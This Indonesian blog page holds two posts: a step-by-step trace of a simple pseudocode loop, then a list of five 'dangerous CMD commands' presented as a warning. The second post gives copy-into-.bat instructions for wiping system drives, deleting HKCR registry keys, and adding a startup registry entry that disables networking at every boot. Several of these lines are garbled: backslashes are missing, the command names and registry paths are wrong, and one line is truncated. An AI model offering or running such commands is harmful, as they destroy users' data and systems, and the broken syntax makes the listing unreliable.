skip to main | skip to sidebar

Monday 15 July 2019

Menganalisa Algoritma - #1

0 comments
Lagi-lagi pertanyaan dari Brainly, saya menjawab pertanyaan dari seseorang untuk mengetahui output dari sebuah algoritma program. Secara simple algoritma adalah sebuah gambaran yang digunakan untuk menjelaskan sebuah proses. Cara penulisan algoritma kebanyakan orang pasti berbeda-beda, namum intinya sama semua. Penulisan algoritma hampir mirip juga dengan penulisan pada bahasa pemrograman.


Algoritmanya seperti ini :
Variabel i, a, n : integer
i = 1
a = 5
n = 30
REPEAT
    a = a+i*i
    i=i+1
UNTIL a>n
WRITE a
END

Keluaran dari algorimanya adalah menampilkan nilai "a" yang dapat dilihat dari perintah "WRITE a". Output nya adalah 35.

Penjelasan Algoritma :
Deklarasi dan Inisialisasi variable :
i = 1
a = 5
n = 30
REPEAT
    pengecekan pada perintah until apakah (a > n) ?
    TIDAK, karena nilai a = 5
    nilai a dan i dimasukan kedalam proses aritmatika
    -->(a = a + i * i)
        a = 5 + 1 * 1 = 6

    -->(i = i + 1)
    i = 1 + 1 = 2
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 6
        a = 6 + 2 * 2 = 10
        i = 2 + 1 = 3
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 10
        a = 10 + 3 * 3 = 19
        i = 3 + 1 = 4
    pengecekan lagi pada perintah until (a > n ) ?
    TIDAK, karena nilai a = 19
        a = 19 + 4 * 4 = 35
        i = 4 + 1 = 5
    pengecekan lagi pada perintah until (a > n ) ?
    YA, karena nilai a = 35 dan proses perulangan berhenti
WRITE a
WRITE, digunakan untuk menampilkan tulisan atau angka. Output / keluarnnya adalah nilai a yaitu 35.

Saya mencoba program dengan bahasa javascript dan hasilnya sama


Sekian ya untuk kali ini semoga bermanfaat. Jika ada pertanyaan silahkan tanyakan di kolom komentar. Sampai jumpa pada materi berikutnya.

5 Perintah CMD yang Berbahaya

0 comments
Kali ini yang akan saya jelaskan adalah 5 perintah atau command yang berbahaya untuk dilakukan, command ini berbahaya bukan untuk orang lain melainkan berbahaya bagi komputer itu sendiri. Hal ini saya jelaskan dengan tujuan agar menambah wawasan dan TIDAK SEMBARANGAN KETIKA MENGGUNAKAN PERINTAH INI.


Berikut saya jelaskan 5 perintah cmd yang berbahaya dan jangan pernah dicoba.

1. BSD ( Blue Screen of  Death )
Perintah ini akan membuat komputer anda menjadi Blue Screen secara langsung. Karena terjadi kerusakan, error, atau crash pada sistem.

Command :
delete %systemdrive%\*.* /f /s

2. Memformat Harddisk
Dengan perintah ini maka hardisk anda akan terformat, pemformatan harddisk bisa dilakukan di drive C: atau dive tempat dimana windows atau OS di install. Copy dan paste perintah dibawah ini kedalam sebuah file dengan format *.bat

Command :
rd /s/q/ D:\
rd /s/q/ C:\
rd /s/q/ E:\

3.Mematikan Internet secara Permanen
Seketika internet anda akan dimatikan dan tidak dapat dihidupkan lagi. Dengan kata lain jika anda menjalankan perintah ini anda harus menginstall ulang untuk bisa menggunakan internet lagi. Gunakan code dibawah ini copy, paste dan simpan kedalam file dengan format *.bat

Command :
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

4. Menghapus Registry Windows
Windows sangat memerlukan registry agar program maupun hardware dapat berjalan dengan lancar. Command ini akan merusak atau menghapus registry secara keseluruhan. Copy dan paste perintah dibawah ini dan simpan kedalam file dengan format *.bat

Command :
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

5. Menghapus Seluruh Data di Hard Disk Drive
Jika dengan command sebelumnya anda harus menggunakan beberapa perintah. Tapi untuk yang kali ini anda hanya memerlukan satu baris perintah saja dan hanya dengan beberapa huruf.

Command :
del *.*

Oke, sekian untuk materi kali ini semoga bermanfaat. Dan saya harap ini hanya digunakan untuk pengetahuan saja agar kalian bisa berhati-hati dalam menggunakan perintah seperti "del, delete atau rd". Sampai jumpa pada materi berikutnya.